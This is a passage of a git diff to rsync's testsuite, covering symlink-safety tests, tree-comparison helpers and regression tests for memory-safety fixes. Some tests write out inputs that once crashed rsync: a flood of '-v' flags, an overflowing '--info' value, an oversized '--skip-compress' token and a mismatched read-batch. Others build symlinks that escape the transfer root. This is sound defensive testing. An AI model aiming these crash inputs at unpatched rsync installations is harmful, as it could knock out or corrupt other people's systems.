1024 * (n + 1))\n-        if n % 2 == 0:                           # hard-link coverage for -H\n-            os.link(cur / f'f{n}', cur / f'hl{n}')\n-            bump('hardlink')\n-        reg(cur / f'perm{n}', 700, perm_cycle[(seed + n) % len(perm_cycle)])\n-        reg(cur / f'setuid{n}', 512, 0o4755)\n-        mkdir1(cur / f'setgid{n}', 0o2775)\n-        mkdir1(cur / f'sticky{n}', 0o1777)\n-        for k in range(3):                       # widen toward ~200 entries\n-            reg(cur / f'g{n}_{k}', 300)\n-        make_fifo(cur / f'fifo{n}'); bump('fifo')\n-        make_socket(cur / f'sk{n}'); bump('socket')\n-        if with_devices:\n-            make_device(cur / f'cdev{n}', 'c', 1, 5); bump('device')\n-            make_device(cur / f'bdev{n}', 'b', 7, n); bump('device')\n-        # symlink bouquet: one link to each type present at this level\n-        lnk(f'f{n}', cur / f'ln2file{n}')\n-        lnk(f'fifo{n}', cur / f'ln2fifo{n}')\n-        lnk(f'sk{n}', cur / f'ln2sock{n}')\n-        if with_devices:\n-            lnk(f'cdev{n}', cur / f'ln2dev{n}')\n-        lnk(f'ln2file{n}', cur / f'ln2ln{n}')     # link to a symlink\n-        lnk(f'nonexistent_{n}', cur / f'dangling{n}')\n-        if n < depth - 1:\n-            nxt = mkdir1(cur / f'd{n + 1}')\n-            lnk(f'd{n + 1}', cur / f'ln2dir{n}')  # link to a directory\n-            cur = nxt\n-\n-    # --- absolute-path links (targets encode the source scratch path) ---\n-    absd = mkdir1(troot / 'abs_links')\n-    lnk(str((troot / 'f0').resolve()), absd / 'abs_file')\n-    lnk(str(above_targets['file'].resolve()), absd / 'abs_above')\n-\n-    # --- escaping (unsafe) links: inside the transfer root, target outside ---\n-    escd = mkdir1(troot / 'escape')\n-    lnk('../../above/a_dir', escd / 'esc_dir')\n-    lnk('../../above/a_file', escd / 'esc_file')\n-    lnk('../../above/a_fifo', escd / 'esc_fifo')\n-    lnk('../../above/a_sock', escd / 'esc_sock')\n-    if with_devices:\n-        lnk('../../above/a_dev_c', escd / 'esc_dev')\n-    lnk('../../above/a_link', escd / 'esc_link')\n-    # intermediate component transits OUTSIDE the whole tree, then back in\n-    lnk(f'../../../{root.name}/above/a_file', escd / 'esc_deep')\n-\n-    # --- xattrs on dirs + regular files (symlink xattrs are unsupported on\n-    #     Linux, so skip them) ---\n-    if with_xattrs:\n-        for p in walk_dirs(troot) + walk_files(troot):\n-            try:\n-                xattr_set('variety', os.path.basename(str(p)), p)\n-            except OSError:\n-                pass\n-\n-    # --- ACLs on a deterministic subset ---\n-    if with_acls:\n-        dirs = walk_dirs(troot)\n-        files = walk_files(troot)\n-        for i, d in enumerate(dirs):\n-            if i % 3 == 0:\n-                acl_set('u:0:rwx', d)\n-            if i % 5 == 0:\n-                acl_set('d:u:0:rwx', d)      # directory default entry\n-        for i, f in enumerate(files):\n-            if i % 4 == 0:\n-                acl_set('g:0:r-x', f)\n-\n-    entries = sorted(_all_entries(root), key=lambda x: str(x))\n-\n-    # --- mixed ownership (root only), including symlinks ---\n-    if with_owners:\n-        idset = [(0, 0), (1, 1), (2, 2)]\n-        for i, p in enumerate(entries):\n-            uid, gid = idset[(seed + i) % len(idset)]\n-            try:\n-                os.chown(str(p), uid, gid, follow_symlinks=False)\n-            except OSError:\n-                pass\n-\n-    # --- deterministic, varied mtimes (last, so nothing resets them); makes\n-    #     the tls listing reproducible across separate builds ---\n-    base = 1_000_000_000\n-    for i, p in enumerate(entries):\n-        t = base + (i * 7) % 1_000_000\n-        try:\n-            os.utime(str(p), (t, t), follow_symlinks=False)\n-        except (OSError, NotImplementedError, ValueError):\n-            if not os.path.islink(str(p)):\n-                try:\n-                    os.utime(str(p), (t, t))\n-                except OSError:\n-                    pass\n-\n-    return {'transfer_root': troot, 'above_targets': above_targets,\n-            'counts': counts}\n-\n-\n-def _rel_nonlink_entries(root) -> list:\n-    \"\"\"Relative paths of every non-symlink entry (real dirs + non-symlink\n-    files/specials) under `root`, sorted. Used to compare per-entry metadata\n-    without following or descending into symlinks.\"\"\"\n-    root = Path(root)\n-    res = []\n-    for dirpath, _dirnames, filenames in os.walk(root):  # followlinks=False\n-        d = Path(dirpath)\n-        if d != root:\n-            res.append(d.relative_to(root))\n-        for fn in filenames:\n-            fp = d / fn\n-            if not fp.is_symlink():\n-                res.append(fp.relative_to(root))\n-    return sorted(res, key=lambda p: str(p))\n-\n-\n-def _safe_walk_files(root) -> list:\n-    \"\"\"walk_files() variant that tolerates unreadable directories (skips them\n-    instead of raising), for comparing trees whose mixed/foreign ownership can\n-    leave some entries inaccessible to the current user.\"\"\"\n-    root = Path(root)\n-    res = []\n-    for dp, _dns, fns in os.walk(root):   # onerror=None -> unreadable dirs skipped\n-        d = Path(dp)\n-        for n in fns:\n-            p = d / n\n-            try:\n-                if p.is_file() and not p.is_symlink():\n-                    res.append(p)\n-            except OSError:\n-                continue\n-    return sorted(res, key=lambda x: str(x))\n-\n-\n-def compare_trees(a, b, label: str = '', *,\n-                          with_acls: bool = True,\n-                          with_xattrs: bool = True) -> list:\n-    \"\"\"Compare two trees WITHOUT ever opening a fifo/socket/device as a\n-    stream. Returns a list of human-readable difference strings ([] == match);\n-    the caller decides whether a difference is a fail or an xfail.\n-\n-    Checks: (1) the tls listings (type+mode+owner+size+mtime+symlink target for\n-    every inode); (2) byte-equality of regular files by relative path; (3) user\n-    xattrs; (4) POSIX ACLs. Never uses `diff -r` (it blocks on specials).\"\"\"\n-    a = Path(a)\n-    b = Path(b)\n-    pre = f\"{label}: \" if label else \"\"\n-    diffs = []\n-\n-    la = rsync_ls_lR(a)\n-    lb = rsync_ls_lR(b)\n-    if la != lb:\n-        import difflib\n-        ud = ''.join(difflib.unified_diff(\n-            la.splitlines(keepends=True), lb.splitlines(keepends=True),\n-            fromfile=f'{a} (tls)', tofile=f'{b} (tls)'))\n-        diffs.append(f\"{pre}tls listings differ:\\n{ud}\")\n-\n-    files_a = sorted(p.relative_to(a) for p in _safe_walk_files(a))\n-    files_b = sorted(p.relative_to(b) for p in _safe_walk_files(b))\n-    set_b = set(files_b)\n-    if set(files_a) != set_b:\n-        only_a = sorted(str(p) for p in set(files_a) - set_b)\n-        only_b = sorted(str(p) for p in set_b - set(files_a))\n-        diffs.append(f\"{pre}regular-file set differs: \"\n-                     f\"only in a={only_a} only in b={only_b}\")\n-    for rel in files_a:\n-        if rel not in set_b:\n-            continue\n-        try:\n-            same = filecmp.cmp(str(a / rel), str(b / rel), shallow=False)\n-        except OSError as e:\n-            diffs.append(f\"{pre}cannot compare contents of {rel} \"\n-                         f\"(permission denied?): {e}\")\n-            continue\n-        if not same:\n-            diffs.append(f\"{pre}content differs: {rel}\")\n-\n-    # hard-link grouping (catches an -H divergence the tls listing can't show)\n-    def _hl_groups(rootp):\n-        from collections import defaultdict\n-        ino = defaultdict(list)\n-        for p in _safe_walk_files(rootp):\n-            try:\n-                st = p.stat()\n-            except OSError:\n-                continue\n-            if st.st_nlink > 1:\n-                ino[(st.st_dev, st.st_ino)].append(str(p.relative_to(rootp)))\n-        return sorted(tuple(sorted(v)) for v in ino.values() if len(v) > 1)\n-    ga, gb = _hl_groups(a), _hl_groups(b)\n-    if ga != gb:\n-        diffs.append(f\"{pre}hard-link grouping differs: a={ga} b={gb}\")\n-\n-    if with_xattrs or with_acls:\n-        for rel in _rel_nonlink_entries(a):\n-            pa = a / rel\n-            pb = b / rel\n-            if not pb.exists():\n-                continue\n-            if with_xattrs:\n-                xa, xb = _xattr_sig(pa), _xattr_sig(pb)\n-                if xa != xb:\n-                    diffs.append(f\"{pre}xattr differs: {rel} \"\n-                                 f\"(a={xa!r} b={xb!r})\")\n-            if with_acls:\n-                aa, ab = _acl_sig(pa), _acl_sig(pb)\n-                if aa != ab:\n-                    diffs.append(f\"{pre}ACL differs: {rel} \"\n-                                 f\"(a={aa!r} b={ab!r})\")\n-\n-    return diffs\n-\n-\n-def assert_trees_equal(a, b, label: str = '', **kwargs) -> 'None':\n-    \"\"\"compare_trees(); test_fail() on any difference.\"\"\"\n-    diffs = compare_trees(a, b, label, **kwargs)\n-    if diffs:\n-        test_fail('\\n'.join(diffs))\ndiff --git a/testsuite/safe-arg-leak_test.py b/testsuite/safe-arg-leak_test.py\ndeleted file mode 100644\nindex 7412ea7..0000000\n--- a/testsuite/safe-arg-leak_test.py\n+++ /dev/null\n@@ -1,22 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for KI-54: safe_arg() in filename mode (opt==NULL) must not leak\n-# an uninitialized heap byte.  The escape counter and the writer disagreed on a\n-# backslash before a wildcard / a trailing backslash (the strchr(WILD_CHARS,'\\0')\n-# NUL footgun), leaving a gap that strlen() walked into.  The t_safe_arg helper\n-# links the real options.o, poisons the heap, and checks the quoting is exact.\n-\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail, test_skipped\n-\n-helper = TOOLDIR / 't_safe_arg'\n-if not helper.is_file():\n-    test_skipped(\"t_safe_arg helper not built\")\n-\n-proc = subprocess.run([str(helper)], stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n-                      timeout=30)\n-if proc.returncode != 0:\n-    test_fail(\"safe_arg leaks an uninitialized byte (counter/writer miscount)\\n\"\n-              + (proc.stdout or b'').decode('utf-8', 'replace')\n-              + (proc.stderr or b'').decode('utf-8', 'replace'))\n-print((proc.stdout or b'').decode('utf-8', 'replace').strip())\ndiff --git a/testsuite/safe-links-absolute-intree_test.py b/testsuite/safe-links-absolute-intree_test.py\ndeleted file mode 100644\nindex f747530..0000000\n--- a/testsuite/safe-links-absolute-intree_test.py\n+++ /dev/null\n@@ -1,86 +0,0 @@\n-#!/usr/bin/env python3\n-# Absolute symlink that *resolves inside* the copied tree, under --safe-links.\n-#\n-# This is the case that surprises users: a symlink and its referent live in\n-# the same source directory, so the link \"obviously\" stays inside the transfer\n-# -- yet --safe-links still drops it.  The reason is that rsync classifies a\n-# link's safety from the *literal text* of its target, never by resolving it.\n-# An absolute target (one starting with '/') is unconditionally \"unsafe\",\n-# regardless of where it actually points.  See unsafe_symlink() in util1.c\n-# (\"all absolute and null symlinks are unsafe\") and the SYMBOLIC LINKS section\n-# of the man page (\"considered unsafe if they are absolute symlinks\").\n-#\n-# The same link written as a *relative* path is safe and survives, which is\n-# the recommended fix.\n-\n-import os\n-\n-from rsyncfns import (\n-    TMPDIR, is_a_link, run_rsync, test_fail,\n-)\n-\n-\n-def assert_symlink(path, target):\n-    if not is_a_link(path):\n-        test_fail(f\"File {path} is not a symlink\")\n-    actual = os.readlink(path)\n-    if actual != target:\n-        test_fail(f\"symlink {path} target is {actual!r}, expected {target!r}\")\n-\n-\n-def assert_notexist(path):\n-    # os.path.exists() follows the link, so a dropped link reads as \"missing\";\n-    # islink() catches a link that was copied verbatim but left dangling.\n-    if os.path.exists(path) or os.path.islink(path):\n-        test_fail(f\"File {path} unexpectedly exists\")\n-\n-\n-def assert_regular_file(path):\n-    if is_a_link(path):\n-        test_fail(f\"File {path} is a symlink, expected a regular file\")\n-    if not os.path.isfile(path):\n-        test_fail(f\"File {path} is not a regular file\")\n-\n-\n-os.chdir(TMPDIR)\n-\n-os.mkdir(\"from\")\n-with open(\"from/linked_file\", \"w\") as f:\n-    f.write(\"payload\\n\")\n-\n-# Both links point at the very same in-tree file; only the spelling differs.\n-abs_target = os.path.abspath(\"from/linked_file\")\n-os.symlink(abs_target, \"from/abs_link\")      # absolute -> always \"unsafe\"\n-os.symlink(\"linked_file\", \"from/rel_link\")   # relative, same dir -> \"safe\"\n-\n-# Sanity: the absolute link really does resolve to the in-tree file.\n-if os.path.realpath(\"from/abs_link\") != os.path.realpath(\"from/linked_file\"):\n-    test_fail(\"test setup: abs_link does not resolve to linked_file\")\n-\n-# --- 1. Baseline: plain -a (no --safe-links) keeps the absolute link as-is. --\n-print(\"baseline: -a without --safe-links preserves the absolute symlink\")\n-run_rsync('-a', 'from/', 'to-plain')\n-assert_symlink(\"to-plain/abs_link\", abs_target)\n-assert_symlink(\"to-plain/rel_link\", \"linked_file\")\n-\n-# --- 2. --safe-links drops the absolute link though it resolves in-tree. -----\n-print(\"--safe-links drops the in-tree-resolving absolute symlink\")\n-proc = run_rsync('-av', '--safe-links', 'from/', 'to-safe',\n-                 capture_output=True)\n-out = proc.stdout + proc.stderr\n-if 'ignoring unsafe symlink' not in out:\n-    test_fail(f\"expected 'ignoring unsafe symlink' message, got:\\n{out}\")\n-\n-# The absolute link is omitted entirely -- NOT replaced by its target file.\n-assert_notexist(\"to-safe/abs_link\")\n-# The relative link to the same file survives untouched.\n-assert_symlink(\"to-safe/rel_link\", \"linked_file\")\n-# The referent itself is still copied normally.\n-assert_regular_file(\"to-safe/linked_file\")\n-\n-# --- 3. The fix paths. -------------------------------------------------------\n-# --copy-unsafe-links turns the unsafe (absolute) link into a real file copy.\n-print(\"--copy-unsafe-links materialises the absolute link as a file\")\n-run_rsync('-a', '--copy-unsafe-links', 'from/', 'to-copy')\n-assert_regular_file(\"to-copy/abs_link\")\n-assert_symlink(\"to-copy/rel_link\", \"linked_file\")\ndiff --git a/testsuite/safe-links-unsafe-def_test.py b/testsuite/safe-links-unsafe-def_test.py\ndeleted file mode 100644\nindex 0e8b7fa..0000000\n--- a/testsuite/safe-links-unsafe-def_test.py\n+++ /dev/null\n@@ -1,130 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Pin what `--safe-links` / `--copy-unsafe-links` call an \"unsafe\" symlink, and\n-the \"top of the transfer\" cut-off.\n-\n-The rsync(1) docs define an unsafe symlink only loosely: --safe-links \"ignore[s]\n-symlinks that point outside the destination tree\", and --copy-unsafe-links acts\n-on links \"that point outside the copied tree\", with the cut-off described as\n-\"the top of the transfer ... the part of the path that rsync isn't mentioning in\n-the verbose output\".  That last phrase is not something a user can test against.\n-\n-The actual rule (unsafe_symlink() in util1.c) is purely LEXICAL on the link\n-value relative to the link's depth within the transfer:\n-  - any absolute target ('/...') is unsafe;\n-  - a relative target is unsafe iff its \"..\" count rises above the transfer top.\n-It does NOT resolve the target on disk.  This test pins both the per-shape\n-verdict and the trailing-slash cut-off, measured (not assumed), so the doc can\n-state the rule concretely.  Pure local client behaviour: no daemon/root/tcp.\n-\n-Cross-version: the lexical rule is long-standing; expected identical against\n---rsync-bin=old_versions/rsync_3.2.7.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'safe-links'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-# A target that physically exists ABOVE every transfer root, to prove the rule\n-# is lexical (verdict doesn't depend on whether the target resolves).\n-(base / 'sibling').write_text('SIBLING\\n')\n-\n-# tree/ is the thing we transfer.  Build the symlink shapes inside it.\n-tree = base / 'tree'\n-tree.mkdir()\n-(tree / 'file').write_text('FILE\\n')\n-(tree / 'sub').mkdir()\n-(tree / 'sub' / 'subfile').write_text('SUBFILE\\n')\n-\n-SHAPES = {\n-    'rel-same-dir':   ('link_a', 'file'),               # -> tree/file     SAFE\n-    'rel-into-sub':   ('link_b', 'sub/subfile'),        # -> tree/sub/...  SAFE\n-    'rel-up-inside':  ('sub/link_c', '../file'),        # -> tree/file     SAFE\n-    'rel-escape':     ('link_d', '../sibling'),         # -> base/sibling  UNSAFE\n-    'rel-deep-escape':('sub/link_e', '../../sibling'),  # -> base/sibling  UNSAFE\n-    'abs-target':     ('link_f', str(base / 'sibling')),# absolute         UNSAFE\n-}\n-for _name, (where, val) in SHAPES.items():\n-    lp = tree / where\n-    lp.parent.mkdir(parents=True, exist_ok=True)\n-    os.symlink(val, lp)\n-\n-# Expected unsafe verdict when the transfer top is `tree` (the usual case).\n-UNSAFE = {'rel-escape', 'rel-deep-escape', 'abs-target'}\n-\n-\n-def run(*args):\n-    subprocess.run(rsync_argv('-a', *args), stdout=subprocess.DEVNULL,\n-                   stderr=subprocess.DEVNULL)\n-\n-\n-def fresh(dst):\n-    rmtree(dst)\n-    dst.mkdir(parents=True)\n-\n-\n-grid, mism = [], []\n-\n-# --- --safe-links: unsafe links are DROPPED, safe links KEPT (top = tree) ----\n-dst = base / 'safe_dst'\n-fresh(dst)\n-run('--safe-links', f'{tree}/', f'{dst}/')\n-for name, (where, _val) in SHAPES.items():\n-    present = (dst / where).is_symlink()\n-    want_present = name not in UNSAFE\n-    grid.append(f\"safe-links {name:15} present={int(present)} want={int(want_present)}\")\n-    if present != want_present:\n-        mism.append(f\"--safe-links {name}: present={present}, expected={want_present}\")\n-\n-# --- --copy-unsafe-links: unsafe links DEREFERENCED to a real file, safe kept -\n-dst = base / 'copy_dst'\n-fresh(dst)\n-run('--copy-unsafe-links', f'{tree}/', f'{dst}/')\n-for name, (where, _val) in SHAPES.items():\n-    p = dst / where\n-    is_link = p.is_symlink()\n-    is_file = p.is_file() and not is_link\n-    if name in UNSAFE:\n-        # dereferenced: a real file/dir, not a symlink\n-        ok = is_file\n-        grid.append(f\"copy-unsafe {name:15} deref={int(is_file)} want=1\")\n-    else:\n-        ok = is_link\n-        grid.append(f\"copy-unsafe {name:15} keptlink={int(is_link)} want=1\")\n-    if not ok:\n-        mism.append(f\"--copy-unsafe-links {name}: is_link={is_link} is_file={is_file}\")\n-\n-# --- cut-off: the SAME link is safe or unsafe depending on the transfer top ---\n-# `tree/sub/link_c` has value '../file'.  When `sub` is a name INSIDE the\n-# transfer (top = tree) the link resolves within the top -> SAFE/kept.  When we\n-# transfer `sub/` itself (top = sub) the same '../file' rises above the top ->\n-# UNSAFE/dropped.  This is the \"top of the transfer\" cut-off, made concrete.\n-dst = base / 'cut_inside'\n-fresh(dst)\n-run('--safe-links', f'{tree}/', f'{dst}/')        # top = tree\n-kept_inside = (dst / 'sub' / 'link_c').is_symlink()\n-grid.append(f\"cutoff top=tree   sub/link_c kept={int(kept_inside)} want=1\")\n-if not kept_inside:\n-    mism.append(\"cut-off: sub/link_c (../file) should be SAFE when top=tree\")\n-\n-dst = base / 'cut_sub'\n-fresh(dst)\n-run('--safe-links', f'{tree}/sub/', f'{dst}/')    # top = sub\n-kept_sub = (dst / 'link_c').is_symlink()\n-grid.append(f\"cutoff top=sub    link_c     kept={int(kept_sub)} want=0\")\n-if kept_sub:\n-    mism.append(\"cut-off: link_c (../file) should be UNSAFE when top=sub\")\n-\n-if os.environ.get('REPORT_SAFE'):\n-    test_fail(\"REPORT-SAFE grid:\\n  \" + \"\\n  \".join(grid))\n-if mism:\n-    test_fail(\"safe-links/copy-unsafe-links contract deviated:\\n  \" + \"\\n  \".join(mism))\n-\n-print(\"safe-links-unsafe-def: unsafe == absolute target OR a relative target \"\n-      \"whose '..' depth rises above the transfer top (lexical, not resolved); \"\n-      \"--safe-links drops unsafe links, --copy-unsafe-links dereferences them; \"\n-      \"the same '../file' link flips safe->unsafe as the transfer top moves down\")\ndiff --git a/testsuite/safe-links.test b/testsuite/safe-links.test\nnew file mode 100644\nindex 0000000..6e95a4b\n--- /dev/null\n+++ b/testsuite/safe-links.test\n@@ -0,0 +1,55 @@\n+#!/bin/sh\n+\n+. \"$suitedir/rsync.fns\"\n+\n+test_symlink() {\n+\tis_a_link \"$1\" || test_fail \"File $1 is not a symlink\"\n+}\n+\n+test_regular() {\n+\tif [ ! -f \"$1\" ]; then\n+\t\ttest_fail \"File $1 is not regular file or not exists\"\n+\tfi\n+}\n+\n+test_notexist() {\n+        if [ -e \"$1\" ]; then\n+                test_fail \"File $1 exists\"\n+\tfi\n+        if [ -h \"$1\" ]; then\n+                test_fail \"File $1 exists as a symlink\"\n+\tfi\n+}\n+\n+cd \"$tmpdir\"\n+\n+mkdir from\n+\n+mkdir \"from/safe\"\n+mkdir \"from/unsafe\"\n+\n+mkdir \"from/safe/files\"\n+mkdir \"from/safe/links\"\n+\n+touch \"from/safe/files/file1\"\n+touch \"from/safe/files/file2\"\n+touch \"from/unsafe/unsafefile\"\n+\n+ln -s ../files/file1 \"from/safe/links/\"\n+ln -s ../files/file2 \"from/safe/links/\"\n+ln -s ../../unsafe/unsafefile \"from/safe/links/\"\n+ln -s a/a/a/../../../unsafe2 \"from/safe/links/\"\n+\n+#echo \"LISTING FROM\"\n+#ls -lR from\n+\n+echo \"rsync with relative path and just -a\"\n+$RSYNC -avv --safe-links from/safe/ to\n+\n+#echo \"LISTING TO\"\n+#ls -lR to\n+\n+test_symlink to/links/file1\n+test_symlink to/links/file2\n+test_notexist to/links/unsafefile\n+test_notexist to/links/unsafe2\ndiff --git a/testsuite/safe-links_test.py b/testsuite/safe-links_test.py\ndeleted file mode 100644\nindex 9a74095..0000000\n--- a/testsuite/safe-links_test.py\n+++ /dev/null\n@@ -1,51 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/safe-links.test.\n-#\n-# --safe-links must drop symlinks whose target escapes the transfer root.\n-# In-tree symlinks survive; escape-attempt symlinks (../../..., a/a/../../...)\n-# must NOT appear at the destination at all.\n-\n-import os\n-\n-from rsyncfns import TMPDIR, is_a_link, run_rsync, test_fail\n-\n-\n-def assert_symlink(path, target):\n-    if not is_a_link(path):\n-        test_fail(f\"File {path} is not a symlink\")\n-    actual = os.readlink(path)\n-    if actual != target:\n-        test_fail(f\"symlink {path} target is {actual!r}, expected {target!r}\")\n-\n-\n-def assert_notexist(path):\n-    if os.path.exists(path):\n-        test_fail(f\"File {path} exists\")\n-    if os.path.islink(path):\n-        test_fail(f\"File {path} exists as a symlink\")\n-\n-\n-os.chdir(TMPDIR)\n-\n-os.mkdir(\"from\")\n-os.mkdir(\"from/safe\")\n-os.mkdir(\"from/unsafe\")\n-os.mkdir(\"from/safe/files\")\n-os.mkdir(\"from/safe/links\")\n-\n-open(\"from/safe/files/file1\", \"w\").close()\n-open(\"from/safe/files/file2\", \"w\").close()\n-open(\"from/unsafe/unsafefile\", \"w\").close()\n-\n-os.symlink(\"../files/file1\", \"from/safe/links/file1\")\n-os.symlink(\"../files/file2\", \"from/safe/links/file2\")\n-os.symlink(\"../../unsafe/unsafefile\", \"from/safe/links/unsafefile\")\n-os.symlink(\"a/a/a/../../../unsafe2\", \"from/safe/links/unsafe2\")\n-\n-print(\"rsync with relative path and --safe-links\")\n-run_rsync('-avv', '--safe-links', 'from/safe/', 'to')\n-\n-assert_symlink(\"to/links/file1\", \"../files/file1\")\n-assert_symlink(\"to/links/file2\", \"../files/file2\")\n-assert_notexist(\"to/links/unsafefile\")\n-assert_notexist(\"to/links/unsafe2\")\ndiff --git a/testsuite/scanner-argv-bounds_test.py b/testsuite/scanner-argv-bounds_test.py\ndeleted file mode 100644\nindex f2eeea1..0000000\n--- a/testsuite/scanner-argv-bounds_test.py\n+++ /dev/null\n@@ -1,50 +0,0 @@\n-#!/usr/bin/python3\n-# Regression tests for the run5 option/argv bound fixes: a hostile or\n-# wrapper-built command line must not overflow a fixed buffer, underflow a\n-# stack array, or exhaust the stack.  Each case used to crash (global-buffer-\n-# overflow / stack-buffer-underflow / stack exhaustion under ASAN) and now must\n-# complete a clean transfer.\n-import os\n-import subprocess\n-from rsyncfns import (\n-    FROMDIR, RSYNC_PEER, SRCDIR, SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail, rsync_path_arg, rsh_cmd,\n-)\n-\n-LSH = rsh_cmd()\n-os.environ['RSYNC_RSH'] = LSH\n-\n-src = FROMDIR\n-rmtree(src)\n-makepath(src)\n-(src / 'f').write_text('payload\\n')\n-\n-\n-def run(label, extra, local=False):\n-    dest = SCRATCHDIR / ('dest-' + label)\n-    rmtree(dest)\n-    makepath(dest)\n-    if local:\n-        argv = rsync_argv('-a', *extra, f'{src}/', f'{dest}/')\n-    else:\n-        argv = rsync_argv('-a', *extra, '-e', LSH,\n-                          f'--rsync-path={rsync_path_arg()}', f'{src}/', f'localhost:{dest}/')\n-    r = subprocess.run(argv, capture_output=True, text=True)\n-    if r.returncode < 0 or r.returncode >= 128:\n-        test_fail(f'{label}: rsync crashed (rc={r.returncode}): {r.stderr.strip()[:200]}')\n-    if not (dest / 'f').exists() or (dest / 'f').read_text() != 'payload\\n':\n-        test_fail(f'{label}: transfer did not complete (rc={r.returncode}): {r.stderr.strip()[:200]}')\n-\n-\n-# 0014: ~60 '-v' overran server_options()'s static argstr[64] (global-buffer-\n-# overflow WRITE) before the count was bounded.\n-run('verbose-flood', ['-v'] * 60)\n-\n-# 0015: --info=NAME<overflowing-digits> -> atoi() returns a negative int on\n-# LP64 -> make_output_option() indexed counts[-1] (stack underflow).\n-run('info-overflow', ['--info=BACKUP99999999999999999999'])\n-\n-# 0023: --skip-compress=<one very long token> recursed add_suffix() once per\n-# character, exhausting the stack; truncated to 32 chars now.\n-run('skip-compress-long', ['-z', '--skip-compress=' + 'a' * 5000], local=True)\n-\n-print(\"scanner-argv-bounds: -v flood, --info overflow, --skip-compress long token all clean\")\ndiff --git a/testsuite/scanner-batch-flag-mismatch_test.py b/testsuite/scanner-batch-flag-mismatch_test.py\ndeleted file mode 100644\nindex 58be951..0000000\n--- a/testsuite/scanner-batch-flag-mismatch_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/python3\n-# Regression test for run5 0016: a --read-batch whose recorded stream-flags\n-# enable a metadata class (xattrs/acls/uid/gid) that the reading command line\n-# did not.  setup_protocol() used to compute xattrs_ndx BEFORE check_batch_flags()\n-# flipped preserve_xattrs on, leaving xattrs_ndx=0 -- so F_XATTR(file) wrote a\n-# 4-byte int at offset 0 of every file_struct, clobbering file->dirname into a\n-# wild pointer that flist_sort_and_clean() then dereferenced (heap overflow).\n-import subprocess\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, forced_protocol, makepath, rmtree, run_rsync, rsync_argv,\n-    test_fail, test_skipped, xattr_set, xattrs_supported,\n-)\n-\n-if not xattrs_supported():\n-    test_skipped(\"needs xattr support to write an -X batch\")\n-\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    test_skipped(\"xattrs (-X) need protocol 30+\")\n-\n-src = FROMDIR\n-rmtree(src)\n-makepath(src)\n-# Several files, each with an xattr, so the post-clobber flist_sort_and_clean()\n-# walks file->dirname across many entries.  Some platforms advertise xattr\n-# support yet reject a user-namespace xattr on a plain file (e.g. FreeBSD's\n-# setextattr) -- skip cleanly there rather than fail in setup.\n-for i in range(40):\n-    f = src / f'f{i:03d}'\n-    f.write_text('x\\n')\n-    try:\n-        xattr_set('user.m', 'v', f)\n-    except Exception as e:\n-        test_skipped(f\"cannot set a user xattr on a regular file here: {e}\")\n-\n-batch = SCRATCHDIR / 'xbatch'\n-wb_dest = SCRATCHDIR / 'wb-dest'\n-rmtree(wb_dest)\n-# Write the batch WITH -X: the stream-flags record preserve_xattrs.\n-run_rsync('-a', '-X', f'--only-write-batch={batch}', f'{src}/', str(wb_dest))\n-\n-dest = SCRATCHDIR / 'rb-dest'\n-rmtree(dest)\n-makepath(dest)\n-# Replay with BARE -a (no -X): the batch flips preserve_xattrs on after the\n-# *_ndx were computed.  Must complete cleanly now.\n-r = subprocess.run(rsync_argv('-a', f'--read-batch={batch}', str(dest)),\n-                   capture_output=True, text=True)\n-if r.returncode < 0 or r.returncode >= 128:\n-    test_fail(f'read-batch crashed (rc={r.returncode}): {r.stderr.strip()[:200]}')\n-if not (dest / 'f000').exists():\n-    test_fail(f'read-batch did not replay the files (rc={r.returncode}): '\n-              f'{r.stderr.strip()[:200]}')\n-print(\"scanner-batch-flag-mismatch: -X batch replayed with bare -a is clean\")\ndiff --git a/testsuite/scanner-daemon-log-checksum_test.py b/testsuite/scanner-daemon-log-checksum_test.py\ndeleted file mode 100644\nindex 5e98ac3..0000000\n--- a/testsuite/scanner-daemon-log-checksum_test.py\n+++ /dev/null\n@@ -1,42 +0,0 @@\n-#!/usr/bin/python3\n-# Regression test for run5 0025: a daemon-as-sender with -c and a module\n-# `log format` containing %C read F_SUM(file) in log_formatted(), but\n-# start_server() never set sender_keeps_checksum, so make_file() reserved no\n-# SUM_EXTRA_CNT and F_SUM() read past the pool slot (hex-encoding adjacent heap\n-# into the transfer log).  Pull with -c from a %C-logging module; the daemon\n-# child must not crash (RED under ASAN before the fix).\n-import subprocess\n-from rsyncfns import (\n-    SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12894\n-\n-mod = SCRATCHDIR / 'csum-mod'\n-rmtree(mod)\n-makepath(mod)\n-make_tree(mod, depth=2, data=True)\n-\n-conf = write_daemon_conf([\n-    ('csum', {'path': str(mod), 'read only': 'yes',\n-              # The module `log format` is only installed when transfer logging\n-              # is on (clientserver.c lp_transfer_logging gate); without this the\n-              # %C path -- the whole point of this test -- never runs.\n-              'transfer logging': 'yes', 'log format': '%o %C %f %l'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-\n-dest = SCRATCHDIR / 'csum-pull'\n-rmtree(dest)\n-makepath(dest)\n-# Daemon is the SENDER; -c forces always_checksum so log_formatted()'s %C reads\n-# F_SUM(file) in the daemon child.\n-r = subprocess.run(rsync_argv('-a', '-c', f'{url}/csum/', f'{dest}/'),\n-                   capture_output=True, text=True)\n-if r.returncode < 0 or r.returncode >= 128:\n-    test_fail(f'daemon-as-sender -c with %C crashed (rc={r.returncode}): '\n-              f'{r.stderr.strip()[:200]}')\n-if not any(dest.rglob('f*')):\n-    test_fail(f'pull transferred no files (rc={r.returncode}): {r.stderr.strip()[:200]}')\n-print(\"scanner-daemon-log-checksum: daemon-as-sender -c with %C log format is clean\")\ndiff --git a/testsuite/scanner-delete-delay-overread_test.py b/testsuite/scanner-delete-delay-overread_test.py\ndeleted file mode 100644\nindex e2effe7..0000000\n--- 